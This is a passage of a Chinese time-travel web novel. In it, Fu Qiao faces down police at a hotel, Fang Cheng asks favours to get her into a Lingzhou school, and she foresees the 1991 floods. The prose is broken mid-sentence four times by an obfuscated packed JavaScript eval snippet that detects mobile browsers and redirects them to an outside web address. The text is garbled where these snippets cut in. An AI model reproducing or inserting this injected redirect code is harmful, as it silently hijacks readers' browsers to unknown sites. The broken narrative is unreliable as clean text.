“来来来!快铐!二位警察,你们有什么证据能证明我们有罪?疑罪从有,暴力执法,我看到底是谁有罪?” 傅俏振振有辞地问道。 两个年轻警察动作一滞。 汪黍恨恨道:“什么疑罪从有?暴力执法?明明就是你们袭警在先,拒捕在后!你俩还傻站着干什么,动手啊!” 傅俏嗤笑一声,斜眼望着他。 “抓我容易,但你要是不能判死我,我就会去举报你,不仅向姑苏区分局举报,还向苏城市公安局举报!反应你们滥用职权,有罪推定、暴力执法!” 汪黍:“你?就你?还向上反应?哎呦呦,吓死老子了,你要有这本事就快去啊!” 傅俏大剌剌道:“我当然会去,你也可以赌这一回。不过你要明白,只要我说的有一个字是真的,那就等日后这些小的们踩到你的头上,过吃别人赏的剩饭,仰别人鼻息日子吧!” 少女高扬着下巴,宛如一只盛气凌人的天鹅。 只有她自己知道,滑腻的冷汗在背心和手心处肆意沁出。 但人在越紧张的时候,脑子偏偏越活跃,越冷静。 傅俏突然想到,这世上的事情想要不偏不倚,恰到好处地完成真是太难了。 比起后世的有证就能入住,现在的酒店管理人员显然敏锐得多,对女性尤其是未成年女性的保护更注重。 但这似乎并不能代表社会风气,社会案件就少,否则这些片警也不会这么一副路径依赖的状态,感觉没比二十一世纪好到哪里去。 难道真是“宽易误,严亦误”? 静,好安静。 所有人都在屏息凝神地观看着这两人的对峙。 汪黍一时被她的气场摄住了。 尤其在他死盯着傅俏半晌,她仍老神在在,岿然不动的时候。 他心里已有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509827|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些不安,仍嘴硬道:“你要是有本事,你现在就联系一个我看看!” 傅俏对苏欣招招手,“苏经理,拿你们电话来。” “……” 苏欣左右为难,不知如何作答。 她哂笑道:“我一定告诉李叔叔,就是你打的我。等验伤报告出来,保准让你吃不了,兜着走。” 李叔叔这个称谓一出,方承的神情微变,苏欣则是脸色发青。 市局的主管治安的副局长,就姓李。 “你别胡说!”汪黍的心头猛地一震。 “怎么了?” 傅俏双手合在胸前,用下垂眼看人,“这里又没有摄像头,我说是谁就是谁。你这么有种,不至于要属下的年轻人替你扛事吧?” “什么,什么摄像头?” 这是个新名词,连他也只是在去市局里开大会听报告的时候听过一两耳朵。 “就是实时监控设备!乡巴佬,连这个不懂!真晦气,和朋友出来玩也没个消停的。方承,直接用你那破call机联系下李叔吧,别等着借电话了,反正都已经挨了打,也不差回家挨骂了。” “成吧。” 方承状似无奈地伸手朝背包里摸索起来,边说道:“你个小鬼,下次别再撺掇我带你出来玩。你回家只挨骂,我回家可要挨揍了…” 傅俏面上如旧,心却咚咚响若擂鼓,故作不经意间紧盯着他的动作。 因为刚才完全是胡诌,她根本也不知道他有没有call机,纯粹是为了吓唬人。 “等等!” 汪黍突然喊了一声。 方承翻包的动作一顿,傅俏的心跟着提到了嗓子眼。 “怎么了?” 他不耐烦道,紧接着没有理会汪黍的阻拦,手上反而加快了动作。 汪黍的脸上出现了明显的惶急神色。 “方先生!” 苏欣忽然唤了一声,站了出来。 众人齐齐将目光投了过去,她的笑容得体而标准,只有紧握在胸前的双手昭示着这副身体主人的紧张情绪。 “…今天的事情,其实只是场误会。我这边,这边给方先生和汪警官道歉了。都是我们的工作失误,没弄清情况。害得您…和傅小姐,受委屈了。” 方承“呵”了一声,将手拿了出来。 汪黍偷偷地松了口气。 “汪警官,真是不好意思哈。” 苏欣又将笑脸转向了他,一面向他走去一面道:“大热天地劳烦您跑这一趟,还…总之,都是我们的不对。我记着您妈妈好像是喜欢松花团糕对吧?哎呀,多巧啊您说,我们酒店今天新进了最好的松花粉做了团糕,待会儿您一定拿盒走,回去让老太太尝尝,给我们多提提意见……” 她说说笑笑间便将三位警官往屋外引,那三人也就势顺坡下驴,跟着一道出了门。 小小的屋子一下子空了不少。 两位保安互看一眼,也默不作声地离开了。 温柔挂着勉强的笑走了过来,记着苏欣方才交代的事情,向两人先是躬身道歉。 “对不起,给二位添麻烦了。” 傅俏不喜欢看见这样的场景,明明是“神仙打架”,最后遭殃却全是“凡人”。 她心中难过,但碍于“人设”又不好多说什么。 “没关系。” 方承说道,“其实你们是对的,尽心负责,在努力保护每个客人的人身安全。” 傅俏有些惊奇地望了他一眼。 这番话与自己的想法一模一样。 温柔也怔愣了一瞬,似乎是没想到他会如此好说话。 “那…请二位随我来吧,我为二位办理入住。” 叮咚。 电梯打开,住宿楼层到达。 方承和傅俏从里面走出,一起转过回廊。 “呼。” 确定没人能看见自己后,傅俏立马靠在墙上舒一口长气。 方承抱着花盆看着她,黑亮的眼珠在暗光中熠熠生辉,笑盈盈道:“傅大小姐,你要我联系哪位李叔叔?” 傅俏白了他一眼,“大街上掉一个花盆下来,都能砸中仨姓李的,从百家姓里瞎蒙的。你还笑呢,万一那老家伙要是胆子再大一点,要你真拿出来call机怎么办?” 方承朗然一笑,放下花盆,从背包里拿出一样东西,在她的面前晃了晃。 “那就拿呗。” 一台摩托罗拉BRAVO赫然在他掌心。 21. 一中 大园里的一顿饭的确不便宜,但也还没到让方承“一饭致贫”的地步。 夜晚的凉风习习,拂过行人的发丝衣角,勾勒出最寻常祥和的小城夜色。 傅俏回到房间,继续看起了试卷。 至于方承,他的房间原本在楼层的另一端,现在也被调整到了临近处。 一天的时间,差不多都在外奔波,几乎没什么停下来的时刻。 现在终于得闲,方承有些疲倦地靠坐在沙发上,顺手从背包里摸出了烟和火机。 卷烟被夹在指尖,橙色的火光时隐时显,烟气袅袅间,他正盯书桌上的座机出神。 苏城饭店的客房陈设还是对得起那高昂的房费,居然在每个客房里都配备了电话。 他从来没有开口求过人。 骨气,一个人活着就要保持着那份骨气,昂着头,直挺挺地活着。 想要什么就自己去努力,去拼,去挣。 所以截止到目前的二十五年人生里,方承从没尝过求人办事时,那种弯下脊梁骨的滋味。 但他现在有点体会到了,即使他都没正儿八经开始。 方承猛吸了一口,烟气吐出,心里却更堵得慌。 还没开口尚且如此,当时的傅俏又该有多难? 他阖上双眼,仰头靠在椅背上,烟雾在口鼻间随着吐息喷出。极速燃烧着的烟丝被骤然摁进了烟灰缸里,炽热霎时隔绝,明耀的橙黄转瞬就成了一堆黑灰。 电话被拨出。 “喂?赵叔,我是方承。不好意思,打扰了” 赵团长微微一怔,“方承?你不是请假去苏城办事去了吗?出什么问题了?” 方承闻言顿了顿,回答道:“没出问题…是,是…其实我是想找下荀阿姨。” 赵远疑惑地“啊”了一声,目光望向正在厨房里收拾碗筷的荀敏,不解问道:“你找她做什么?” 方承又拿了根烟,夹在指尖没有点燃,思忖了片刻才道:“我,我有个朋友,他的妹妹今年高考出了点意外,想问问能不能在陵州一中复读。” 有些事情,在电话里不好说,三言两语也说不清楚。 赵运自然是一耳朵就听出他没说实话,不过方承算是他亲眼看着成长起来的,是个心里有数的。不说那人身份的具体情况,想来应该是有特殊的考量。 沉吟片刻,他缓缓道:“你那个朋友的妹妹,成绩怎么样?我看他们一中的成绩可不得了哦,万一好不容易弄进去,跟不上怎么办?” 方承立马道:“她特别聪明。真的,赵叔,我从没见过这么机灵的人,她要是进去了肯定能跟上的。” 赵运不禁皱眉,“话不能这么说。读书好不好,不完全是取决于人聪不聪明。关键要看分数,你知道她平时一般模拟考试都多少分吗?” 说到具体的分数,方承哑了火,含含糊糊吐出了几个无意义的音节。 “你啊。什么情况都不搞清楚就来问,怎么变得这么急躁了?” “赵叔,这事儿真的很重要。拜托你,就让荀阿姨帮帮忙打听打听吧,看有没有办法?要我拜哪座庙,烧哪柱香都可以的。” 赵运吸了口气,意识到了问题的严重性。 方承浑身上下的骨头硬得和坦克没区别,居然有朝一日也会为他人折腰屈节? “先别急。学校事情还是你阿姨清楚,我让她来和你说说。” 话筒那端一阵嘈杂过后。 “喂?小承。” 这次接起电话的是荀敏,“老赵和我说了,你那个妹妹到底是什么情况啊?是今年的应届生还是往届的?多大了?” “荀姨。她就是今年高考,是苏城人…因为一些家里的情况没有考成。你看能不能想个办法,让她在一中复读?” 方承又将傅俏的情况复述了一遍。 荀敏闻言微微颔首,“哦…这样啊。那她只能办理借读,就是说上学可以在一中,但是考试得回苏城考,因为她的学籍不能转过来。” 方承眼前一亮,“那借读要怎么办?” “现在复读的学生不多,组不了复读班。所以都是直接插班进到毕业班,但这样吧…” 她说着说着,语速慢了下来,似乎在斟酌着措辞。 方承道:“荀姨。您直说吧,需要做什么才能插班?” 荀敏叹了口气,“这事儿啊,说好办也好办,说难办也难办。要插班到毕业班,得通过入学考试,成绩必须达到年级平均线以上。至于这个平均分吧,从高二年级上次月考的成绩来看,已经是五百分左右了,离去年的重点线也不过就差了二三十分。” “这么高?”方承心中暗道不妙,“万一没考过怎么办?” 荀敏道:“没过就没办法了,这是学校的硬性规定。毕竟是毕业班,陵州一中的金字招牌,不可能让放低要求的。再者说,同学之间朝夕相处,招个成绩太差的进去,多少也会影响到别人,学校就更不能接受了。” “这样岂不是否定了学生的成长性?” 他企图绕过这个关隘,不想这件事出现任何的未知性,“荀阿姨,我的意思是…不论如何,都要让她能读上陵州一中。” 荀敏听得怔忡一瞬,仿佛是震惊于这种话居然能从方承口里说出来。 “小承,陵州还有不少其他的好高中…而且就算她通过了入学考试,那这一学期大几百的学费也不便宜啊,另外这住宿,食堂,校服…这些七七八八加起来都一千多……” 他自然是听出来了弦外之音,仍装愣道:“钱不要紧。一中就是最好的,而且还有荀姨您在。您就帮我想想办法吧。” 荀敏被说得没了办法,只好向丈夫投去了询问的眼神。 赵远点了点头。 她无奈道:“那等你回来,我把校领导约出来几位,咱们一块儿吃个饭。你看怎么样?说到底有些事,我说得也不算数,给你打不了包票,但他们可以啊。” “成啊!荀阿姨,那太好了,太感谢您了!” …… 在电话被挂断的一瞬,刻意调高的情绪状态瞬间回落,室内静悄悄的。 方承长叹了口气。 火柴被噌地点燃,烟丝很快就与跃动的火焰相融在一起,橙色的光点忽明忽暗,他很快就置身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531803|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在烟雾缭绕,眉宇间透着浓浓倦意。 陵州军区大院。 挂了电话,荀敏看着沙发上一脸沉思模样的丈夫,轻拍了拍。 “想什么呢?眼睛都直了。” 她边说边从茶几下面拿出雪花膏,滋润的膏体化开在手上,散发出淡淡的茉莉花香。 “方承居然也会求人了?”赵远摇了摇头,“真是稀罕事。” “净琢磨这些没用。刚才他不是说了,等明天就带到家里来吗?你还怕见不着?” “你还说我?难道你不好奇?否则怎么会连补课都答应了?” “我可没说补课!” 荀敏双手交互按摩着,为自己辩护道:“我只是说到时候带套高三的模拟卷回来,让那个孩子先做做看看水平。” 赵远不以为意,“那还不是一样?刚才他后面絮絮叨叨又和你说那么久不就为了这个?等做出来分数不高,你看那小子会不会顺杆爬?我是听出来了,他这回是铁了心一定要把这个小妹送进你们学校去。” “那又怎么了?只要成绩合格,送来借读也是好事一桩嘛。” 她将雪花膏放回原处,正经道:“高考啊,寒窗苦读十几年,就为了这场鲤鱼跃龙门。你没听说是意外导致得没考成吗?那孩子连考都没考,多可惜?要真么放弃了,对孩子一生影响多大?现在能有机会弥补挽回,换了我,我也愿意拼尽全力。” “是是。” 赵远挑起了大拇指,说道:“论这教书育人方面的思想觉悟,还得是咱荀老师有高度。难怪桃李满天下。” 荀敏半点不领情,“少来给我戴高帽,灌迷魂汤。补课的事情只能我说了算,你在外少答应。” “好好。” 赵远无奈地点点头,企图最后尝试一把,“我这不是看璐璐过几天放假回来了,咱们俩上班,她在家寂寞吗?有个小妹陪陪她也挺好的。” “赵远!” 听他提起女儿,荀敏顿时不乐意了,直接嚷了起来,“你的关系找到家里来,本来我是不想搭理的。要不是看在方承这小伙子人不错,加上又是桩好事,才勉强答应帮忙的。但归根结底这是咱俩的事,别把璐璐牵扯进来。她放假回来想做什么就做什么,要是寂寞就出去找同学玩,凭什么在家待着啊。” “是是,你教训得是,我欠考虑了。” 赵团长在岗位上是一丝不苟的严明做派,回到家里倒并没有那么较真,乐呵呵道:“你别急嘛。万一那姑娘真像方承说得那么好,分数比你的学生还高,到时候怕是你们学校还要巴着想要人去呢?” 荀敏不相信地晃了晃头,“我教这么多年书,没见过几个从下面来的学生成绩特别拔尖的,除非是专门去掐的尖子。可话又说回来了,真这么能耐的学生,那在哪儿读书不都是一样,何必舍近求远从苏城到陵州来。” “哎,话是这样没错。” 赵远叹了声,端起茶缸喝了两口,“不说这么多了。方承明天中午估计还会去和岳迟碰一面,最快也得傍晚才到陵州。咱请人吃顿饭,你张罗几个菜,不用太多,我回来的时候再去斩只烤鸭。” 22. 重逢 比起方承这边,傅俏则是惬意得多。 试卷里的题目类型大同小异,配合着考纲,她看了一整晚,将纯理的科目看了个大差不差,英语不用看,剩下的就只有政治和语文了。 在看过的科目里,数学和物理倒不是问题,尤其是数学,对她来说得反而是解法不能超出高中范围。生物和化学略麻烦些,因为从大学第二年起傅俏就没有接触这两门课了,还需要点时间去重温知识。 看着看着,困意逐渐来袭。 酒店房间里装了空调,冷气充足。屋外月影婆娑,室内高床软枕。她索性将卷册放在床头柜上,关灯倒头就睡。 这一睡就睡到了第二天。 当伸着懒腰从梦乡里醒来时,屋外天光已然大亮,这成了她穿越以来最舒服的一觉。 “你上午有没有什么想去的地方,或是想做的事情?” 傅俏正喝着牛奶,这种温温热热淡得出奇的牛奶她已经很多年没尝过了。记忆里只有很小很小的时候在福利院喝过,后来没两年,连福利院都换成正规的盒装或者袋装奶了,这种冲泡牛奶几乎绝迹。 两人坐在餐厅里吃着早饭,方承见她吃得差不多了,便开口问道。 “我没什么事情。你不是说想去拜访之前的政委吗?去呗,我回房间看书就好。” 提到看书,有人不自然地清了清嗓子。 他昨晚想了又想,觉得入学考试的事情还是傅俏知道得好,也好让她有些准备。 “陵州一中的事情,我已经打听过了。他们不招收复读生,如果一定要借读,只能插班到应届生班里,所以在开学前有个入学考试。” “好。我会好好准备的。” 傅俏想也没想就回答道。 方承见她说得如此轻松爽快,心下一顿,眉尖微微蹙起又松开,像是在努力克制着皱眉的程度,语气也格外柔和。 “我打听了下一中这届高二的水平,大概年纪均分在五百分左右。其实不管成绩怎么样,尽力而为就是好的,来日方长嘛。” 傅俏听罢,立刻明白了方承为何面带愁容。 届时的高考总分共710分,而江省去年的理科重点本科分数线也才528分。现在一个年级的平均分都快赶上一本线了,难怪说是陵州乃至整个江省最好的高中之一。 原来是小瞧了自己。 她看着方承,似笑非笑道:“方连长,对我没有信心吗?” 方承脱口而出:“怎么会?” 傅俏心思一转,眉峰轻抬,“那你要不要预估一下,我的入学考试能考多少分?” 本来是善意安慰,现在却反被将了一军,他被顶得一时哑然。 方承抱起了双臂,故作姿态地想了想,轻描淡写道:“你这么说,肯定是有信心了。好,我就猜你的入学考试能有五百一十分左右。怎么说,是猜对了有奖,还是猜错了要罚啊?” 她笑着摇了摇头,直白道:“猜对了没有奖励,猜错了倒是有惩罚,还来吗?” 方承失笑,“你这是做无本生意,行霸王条款啊?” “不对不对。”傅俏否认道,我这可不是霸王条款,不是强买强卖。你要愿意赌,那就来。要是不愿意,当我没说好了。” 眼前的小姑娘笑得狡黠,他忽然觉得心里敞亮不少,乐得和她玩闹,好让她高兴高兴。 “行。我愿意和你赌。但是惩罚是什么,傅老板能不能先说说看?” 傅俏倒底不肯说出来,方承也没有坚持。 上午的时间紧张,既然不去燕都,回陵州的车票还得安排。另外还有中午拜访政委的事情,虽然是临时起意,但也不好空着手上门去拜访,总还得置办些礼品。 吃过早饭,他外出办事,傅俏则是上楼继续看书。直到临近中午,方承才赶了回来,接上她一块儿出门。 出租车停在了苏城市市委的家属院前。 银杏树的枝叶将直射下来的阳光打得细碎,零零星星地落在树下的行人身上。 傅俏看着面前楼栋,心里不禁泛起一丝涟漪。 方承拎着大包小包走了过来,说道:“就是这里,十栋。政委说他夫人今天刚好休息,正在家候着呢。咱们先上楼,马上他就到家。” “301…” 方承核对了门牌号,确认无误后才抬手敲门。 咚咚咚。 “来啦!” 听到这略显耳熟的声音,傅俏不由得一愣。 大门打开,门后的女性约莫三十七八岁,面容清秀和善。 杨薇见到面前是个高大英俊的陌生青年,立马就想到了丈夫早上临出门前的交代,脸上露出礼貌的笑意,“你就是方承吗?” 方承两手都提着东西,只能使劲点了点头,答道:“您好,嫂子。我就是方承。” 他说着又微微向后侧退了半步,让出一个空档,傅俏出现在了门前。 “这是我父亲战友的女儿,和我这次一起去陵州办些事情。她叫傅俏,就和我亲妹妹一样。小俏,这位是杨阿姨……” “杨医生。” 她笑盈盈地看着杨薇,乖巧地唤了一声。 “小傅,是你?!” 自从穿越以来,这是傅俏第一次被人用欢迎的态度迎进一个家庭空间。 换上提前准备好的拖鞋,她粗略地打量了下周围。 整个房子并不大,傅俏猜测也就八十多平方。整体是稍微偏亮的暖黄色原木风格,客厅不算小,但没有独立的餐厅,一张四方桌子就立在茶几旁边。屋子收拾得很整洁,电视机和冰箱上还盖着白色的蕾丝盖布,玻璃柜里摆了不少照片,处处都透着温馨。 “小方,小傅。你们先坐,我去倒茶。” 杨薇说着就将两人安顿到了客厅的沙发上坐着,自己则是进了厨房忙活。 方承此时终于有机会能问出那个问题,小声道:“你怎么会认识嫂子?” “你政委的夫人…原来是杨医生啊?”傅俏也压低了音量,粗略解释道:“她在人民医院上班,给我看过病。” 他了然道:“难怪呢…政委之前就总说自己夫人是医生,工作很忙,基本上不出席家属活动,所有部队上没几个见过他爱人的。包括转业也是,本来是没有定他的。可岳政委主动申请,理由就是夫妻之间想多相处。” 倏地,门锁一阵转动,岳迟回来了。 他一进门,沙发上的两人齐齐站了起来。 “方承!”岳迟面色一喜,忙不迭地放下东西,两步跨了过来。 “政委!”方承也露出白牙笑着,啪地给他敬了个礼。 “放下放下。” 岳迟拉过他的手,上下打量了他一番,欢喜道:“嗯,结实了,更结实了!好小子,现在越来越像样了!” 今天方承特意换回了常服,笔挺的军装在身,看得他不禁忆起了往事,言语间也带了几分唏嘘感叹。 “当年我正好去潭州出差。团长忽然和我说,科大有个电子工程系的优秀毕业生不想去研究所,就想下连队来,让我去接你。刚把你带到我们野战部队的时候,我还真觉得担心,一方面觉得你是大材小用,另一方面又怕你适应不了艰苦的环境。现在看来,我的担心都是多余的啊。” 方承听他提起这些,似乎有些含羞,微微低头道:“没什么大材小用…我都是硬学的。搞科研需要天分,我清楚自己没那天分。现在能做我喜欢的事情,我很高兴。” “高兴就好,高兴就好。” 岳迟拍了拍他的肩膀,目光转向了傅俏,略怔了一瞬,很快又恢复了常色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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话刚落地,气氛骤冷。傅俏微不可察地瞄了杨薇一眼,暗道两口子平时私底下应该没少交流工作。 方承像是还没反应过来,笑容瞬间僵在脸上。 杨薇眼角的余光瞟见了他的表情,心下一紧,气得在餐桌下猛踹了丈夫一脚。 毕竟傅俏当时被送到医院的时候已至深夜,还是个大男人抱着送来的,伤口怎么伤也说不清楚,背后肯定有什么不好言说的隐情。 傅俏露出几分苦笑,“我的确是半夜去的医院,但您说得是不是我,我就不知道了。” “他一天到晚忙昏头了,别理他。”杨薇嗔怪道,转头又给她夹了块鱼,顺带张罗大家动筷。 “吃饭吃饭,小傅,多吃点啊。” 她的心里不免有些紧张,隐隐担忧着丈夫的无心之语会不会给人带来麻烦。 “谢谢杨医生。” 傅俏的目光从她的脸上划过,察觉了身侧人眼中的一丝慌乱,当下便理解了杨薇此时企图急忙翻过这个话题的原因。 她应当是误会了自己和方承的关系。 虽说杨医生是知道自己年龄的,但在九十年代,尤其是小城市里,早早地就处对象并不稀奇。虽然方承一直说得都是“妹妹”,但依照他这万年单身汉的形象,身边突然多了个“妹妹”,还走哪儿都要带着,着实不能不由得人多心。 傅俏却并不想让这个话题匆匆遮过。 她端起碗接过那块鱼腹肉,抿嘴笑了笑,又道:“在住院的时候,要不是您给我打了碗小米粥,我恐怕那天晚上就得饿着睡觉了。” 杨薇微微一愣,没想到小姑娘竟主动提起了在医院的事情。 她只好照实道,“没什么,我看你一个人孤零零的可怜,那么晚了还饿着。也没个人陪护,想去打饭都走不开。” 傅俏顿了顿,声音带里了几分无奈委屈,“我也没想到……马志远能在外面玩那么久。他只和我说病房里太闷,想要出去走走,没想到走到牌桌上就下不来了。输了个底掉,一下午就二百多,别说给我带饭了,自己都要吃不上饭了。” 23. 暴雨 傅俏曾经承诺过马明远,不会把马志远和自己的事情往外说。 但他似乎从没意识到,马志远的毛病可能只是马家问题最小的一环。 二代们无法无天,猖狂恣意,难道不是因为仗着老子们纵容包庇吗?这样的人,又怎么可能是清清白白的官? 果然,岳迟敏锐的神经一下子被触动,反问道:“打牌一下午输二百多?他家是做生意的?” 她微微摇了摇头,“不是。马志远在纺织厂上班,是一车间的工人。” “纺织工人?” 岳迟的表情愈发严肃,“我听说纺织厂的普通工人一个月工资还不到二百?这么输钱不心疼吗?” 傅俏夹起碗里的鱼肉吃了口,叹道:“他当然不心疼。他爸是厂长,可有钱了。” “……” 杨薇和方承都没有作声。 “厂长的儿子去赌博?还这么大的金额量?” 此话一出,傅俏闻言在心里微微一笑。 虽然是直钩钓鱼,但架不住愿者上钩啊。 岳迟既然是部队出身的“老党员”,现在又到了纪委的体系内,必然会对这些事情很敏感。 而且从他刚才脱口而出就说出自己的情况来看,这人也有些愣脾气,在官场上未必能亨通顺畅,但在办事上却保准尽职尽责。 原来她是不着急料理马家的,毕竟自己现在还是个小萝卜头,尚要受旁人左右。哪里有能耐扳倒一个在本地经营日久,根基稳固的国企厂长? 谁让事情就这么巧,方承的老政委居然现在在纪委工作,还是纪检监察室的副主任? 这种国营大厂里的许多事情,本来就是灰色地带,民不举,官不究,大家心照不宣,就这么过去了。平时不上称没二两重,可要是上了称,分量就不是寻常人能扛得住的了。 尤其是现在还是1991,南巡讲话还没有发生,政府对国营企业的管控力度犹在。过这么一遭,马铁顺就算不死,也要剐掉一层皮下来。 古话说“天予不取,反受其咎”。遇到这种瞌睡送枕头的天赐良机,她要不笑纳,才真是对不起自己。 岳迟的语气变得有些微妙,他紧紧地盯着傅俏,追问道:“这种情况是经常发生吗?” 小姑娘捧着碗,两只眼睛中透着茫然无措,微张着嘴不知该说什么。 “我,我也不清楚…”她像是被这幅阵仗骇住了。 不论在什么时候,举报体系一直讲究得是“谁检举,谁举证”。 傅俏只想吃肉,不想杀猪,祸水东引的目的已然达到。再多说下去,待会儿只怕是要溅到自己一身猪血了。 毕竟要细究起马志远赌博的事情,扯出那什么阿学来,她多少也会被牵涉。不如趁着现在岳副主任的主要关注点还在马铁顺身上,恰是收手的最好时机。 杨薇一时没有出声。 “政委。”方承见状,当即唤了一声。 他端起杯子,里面澄明的液体正冒着小小的气泡。 岳迟的注意力被成功引走,只见方承双手举在胸前,恭敬道:“这次来得匆忙,初次登门拜访您和嫂子,也没带什么像样的东西来。失礼了,我先自罚一杯。” 岳迟要拦,他却已经咕咚咕咚喝了满杯,开始倒第二杯。 “这第二杯,是敬您和嫂子。感谢您当年把我接到了部队,带我进入新天地。他说着又看向了杨薇,“嫂子,谢谢您对小妹的照顾。” “客气了,客气了。”杨薇道。 他又是一饮而尽,动手满上了第三杯。 “哎哎!不喝了不喝了。” 岳迟此刻已经暂压下了对傅俏继续追问的心思,终于找到个机会按住了方承的酒杯,“空着肚子喝酒伤胃。咱们之间不说哪些虚的,就和一家人一样,把彼此都放心里。” 杨薇也及时道:“是啊。我是医生,照顾病人本来就是份内的事情。你来又是水果又是糕点,哪里失礼了?” 喝过这两杯,方承的第三杯酒直到饭吃完才见底。 除去开场时的小插曲,这一顿宴席虽然时间尚短,却可谓是宾主尽欢。 与来时一样,回陵州的火车也是软座。 不过自打从纪委家属区出来,方承就好像有了心事,不怎么说话,一味地提着行李抱着花盆闷头赶路。他个高腿长,一步迈开顶得过傅俏两步,走得快了,她只能小跑着跟在后面。 好不容易上了车,人才落座,他又把那本《空地一体化》给掏出来了,一副认真研读的模样,搞得傅俏只好闭上了刚张开想要问话的嘴巴。 不说话?装什么深沉? 既然不愿意沟通,她也懒得费心去猜,早上在酒店拿的报纸还没看呢。 若说要快速地了解一个地区或是时代的背景风物,报纸莫过于最直接可靠地了解途径了。所以傅俏打穿越过来,只要有机会能接触到报纸就会收集,得了空闲便仔细研读。 列车哐当哐当地向前,窗外的景物飞速倒退,日头逐渐西斜,阳光逐渐衰黄。 方承的目光跳跃性地落在书页和对面看报的人身上,偷偷摸摸地时不时瞟两眼傅俏。她倒是稳如泰山,一份报纸愣是生生读出了鸿篇巨制的感觉,看得连头也不抬。 “你…渴不渴?” 最终还是他没忍住,率先开口道。 傅俏摇了摇头,她正在看中缝处的天气信息。 晴空万里,高温炎热,一切都很符合夏天的特征。 那种不对劲的感觉再次涌了上来。 1991……看着报纸上的数字,她始终觉得上世纪的这个年份是个特殊的锚点,至少在个人的记忆里… 到底是什么? 忽然间一阵嘈杂乐曲响起,傅俏被惊了一跳,车厢内众人纷纷朝音源处看去,原来是有个打扮时髦的小年轻不小心扯到了随身听的耳机线,才导致歌曲外放。 虽然只是短短一瞬,但歌曲中陌生又熟悉的粤语不住地在耳边回响,脑海中霎时灵光一现! 是香江群星的赈灾募捐晚会! 赈灾…赈灾…1991年的华东水灾! 记忆的阀门一旦打开,无数的信息就洪水奔涌而出,更多关于水灾的描述也逐渐变得清晰起来。 她记得根据介绍,这场水灾波及江淮两省众多地区,百万人受灾,经济损失过亿。更重要的是,水灾的原因是由于梅雨季节的提前与延期,降雨从五月份开始,一直持续到七月中旬才堪堪停止,河道内涝,湖区淤积…… 傅俏心头一震,猛地看向窗外,只见夕阳如血,云霞绚烂,仿佛是地面上冲霄而起的火光映照在天幕之上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16556866|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染红了半边天际,不见半点雨星子的踪迹。 “海湾战争是什么爆发的?什么时候结束的?” 她突然放下报纸,目光灼灼地凝视着自己问道,方承不禁一愣。 “怎么了?” “快说。”傅俏此时的仅存的一丝耐心比蚕丝还细。 “1月17多国空袭开始,2月24号地面战争开始,2月28号结束。” 他一五一十道来,疑惑道:“为什么忽然问这个感兴趣?” “今年的夏天怎么不下雨?” 她怔忡着看着报纸,像是喃喃自语,又仿佛在询问方承。 好端端的小姑娘骤然间变得神神叨叨,话题一下子从海湾战争跨越到天气,方承觉得有些奇怪,下意识地低头扫了眼报纸,茅塞顿开。 报纸左页写着美国等多国集团将在7月15日于沙特哈费尔巴廷与伊拉克军方进行最后一次正式会议,确定停火线等相关事宜。 右侧则是在说江淮地区夏季干旱问题,年年如期的梅雨迟迟不到,导致土地板结,农作物收成受损等等。 “风调雨顺的光景也不是年年都能遇到,自然气候有规律,也有例外。” 他正说着,倏地窗外一道白光倏地劈开穹庐,车厢霍然间亮得内旅客的脸上的汗毛都能看清。 方承和傅俏不约而同地扭头看向窗外。 轰隆! 惊雷炸开,响彻寰宇。 她觉得似乎连整座列车都晃了几下。 劈劈啪啦。 黄豆大的雨点从落下第一滴到砸满窗户,糊住所有外景,只不过三秒,整个天地都被笼罩在了雨幕之中。 “下雨了。” 傅俏喃喃道。 当列车缓缓进陵州站的站台时,时刻比正点晚了进一个钟头,雨依旧在下,势头小了些,却淅淅沥沥地不见停歇的迹象。 出站口依旧人头攒动,只是这突如其来的一场雨,弄得所有人都有些狼狈。 陵州军营门口,一辆军用吉普在经过盘查后放行,入内后径直开往了后方的家属院。 赵远和荀敏已经在家里等候多时了。 直至从车上下来,傅俏仍一副魂不守舍的模样,方承实在想不明白她如何受了刺激,待会儿就要去见荀敏,涉及到能否在陵州一中借读的事情。这么浑浑噩噩的上楼去,只怕难给人留下个好印象。 “傅俏?傅俏?!” 熟悉的唤声在耳边响起,久违的名字宛如穿透时空而来,一把将她攫住,生生拉出了思绪的沼泽。 傅俏,傅俏。 这是她的名姓。 不论在2026,还是1991。 傅俏怔忡着看向方承,眼中透着几分茫然。 “怎么了?是不是哪里不舒服?” 